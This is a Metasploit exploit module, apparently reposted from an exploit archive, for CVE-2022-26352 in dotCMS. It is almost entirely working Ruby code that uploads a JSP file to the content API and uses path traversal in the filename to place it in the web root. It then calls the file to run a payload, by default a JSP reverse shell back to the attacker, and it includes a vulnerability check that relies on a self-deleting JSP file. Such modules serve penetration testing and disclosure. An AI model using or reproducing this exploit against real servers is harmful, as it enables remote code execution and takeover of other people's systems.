dotCMS Shell Upload

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::FileDropper  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'DotCMS RCE via Arbitrary File Upload.',        'Description' => %q{          When files are uploaded into dotCMS via the content API, but before they become content, dotCMS writes the          file down in a temp directory.  In the case of this vulnerability, dotCMS does not sanitize the filename          passed in via the multipart request header and thus does not sanitize the temp file's name.  This allows a          specially crafted request to POST files to dotCMS via the ContentResource (POST /api/content)  that get          written outside of the dotCMS temp directory.  In the case of this exploit, an attacker can upload a special          .jsp file to the webapp/ROOT directory of dotCMS which can allow for remote code execution.        },        'Author' => [          'Shubham Shah',  # Discovery and analysis          'Hussein Daher', # Discovery and analysis          'jheysel-r7'     # Metasploit module        ],        'License' => MSF_LICENSE,        'References' => [          ['CVE', '2022-26352'],          ['URL', 'https://blog.assetnote.io/2022/05/03/hacking-a-bank-using-dotcms-rce/']        ],        'Privileged' => false,        'Platform' => %w[linux win],        'Targets' => [          [            'Java Linux',            {              'Arch' => ARCH_JAVA,              'Platform' => 'linux'            }          ],          [            'Java Windows',            {              'Arch' => ARCH_JAVA,              'Platform' => 'win'            }          ]        ],        'DisclosureDate' => '2022-05-03',        'DefaultTarget' => 0,        'DefaultOptions' => {          'SSL' => true,          'PAYLOAD' => 'java/jsp_shell_reverse_tcp'        },        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]        }      )    )    register_options([      Opt::RPORT(8443),      OptString.new('TARGETURI', [true, 'Base path', '/'])    ])  end  def check    test_content = Rex::Text.rand_text_alpha(10)    test_file = "#{test_content}.jsp"    test_path = "../../#{test_file}"    uuid = Faker::Internet.uuid    jsp = <<~EOS      <%@ page import=\"java.io.File\" %>      <%        File jsp=new File(getServletContext().getRealPath(File.separator) + File.separator + "#{test_file}");        jsp.delete();      %>      #{uuid}    EOS    vars_form_data = [      {        'name' => 'name',        'data' => jsp,        'encoding' => nil,        'filename' => test_path,        'mime_type' => 'text/plain'      }    ]    send_request_cgi(      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, '/api/content/'),      'vars_form_data' => vars_form_data    )    res = send_request_cgi(      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, test_file.to_s)    )    if res && res.body.include?(uuid)      return Exploit::CheckCode::Vulnerable    end    Exploit::CheckCode::Safe  end  def write_jsp_payload    jsp_path = "../../#{jsp_filename}"    print_status('Writing JSP payload')    vars_form_data = [      {        'name' => 'name',        'data' => payload.encoded,        'encoding' => nil,        'filename' => jsp_path,        'mime_type' => 'text/plain'      }    ]    res = send_request_cgi(      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, '/api/content/'),      'vars_form_data' => vars_form_data    )    unless res&.code == 500      fail_with(Failure::NotVulnerable, 'Failed to write JSP payload')    end    register_file_for_cleanup("../webapps/ROOT/#{jsp_filename}")    print_good('Successfully wrote JSP payload')  end  def execute_jsp_payload    jsp_uri = normalize_uri(target_uri.path, jsp_filename)    print_status('Executing JSP payload')    res = send_request_cgi(      'method' => 'GET',      'uri' => jsp_uri    )    unless res&.code == 200      fail_with(Failure::PayloadFailed, 'Failed to execute JSP payload')    end    print_good('Successfully executed JSP payload')  end  def exploit    write_jsp_payload    execute_jsp_payload  end  def jsp_filename    @jsp_filename ||= "#{rand_text_alphanumeric(8..16)}.jsp"  endend